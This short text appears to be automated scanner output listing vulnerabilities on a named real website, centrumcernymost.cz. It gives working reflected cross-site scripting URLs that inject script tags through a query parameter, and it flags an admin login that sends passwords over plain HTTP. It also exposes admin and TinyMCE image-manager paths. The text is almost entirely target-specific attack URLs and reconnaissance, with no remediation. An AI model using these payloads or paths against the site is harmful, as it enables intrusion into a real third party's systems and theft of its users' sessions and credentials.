centrumcernymost.cz

XSS
Vulnerability Classifications:  PCI 6.5.1 OWASP A2 CAPEC-19 CWE-79 79

http://www.centrumcernymost.cz/W/do/centre/akce-obchody-CLARE?nsextt="><script>alert(9)</script>

Parameter Name: nsextt
Parameter Type: Querystring

http://www.centrumcernymost.cz/W/do/centre/akce-obchody-CLARE?'"--></style></script><script>alert(0x000256)</script>

Parameter Name: Query Based
Parameter Type: FullQueryString
Attack Pattern: '"--></style></script><script>alert(0x000256)</script>

|||

Password Transmitted Over HTTP

Vulnerability Classifications:  PCI 6.5.9 OWASP A9 CWE-311 319
Severity :  Important
Confirmation :   Confirmed
http://www.centrumcernymost.cz/W/do/admin/sites?reqCode=changeLangueFR
Form target action: j_security_check

http://www.centrumcernymost.cz/W/jscripts/tiny_mce/plugins/imagemanager/examples.html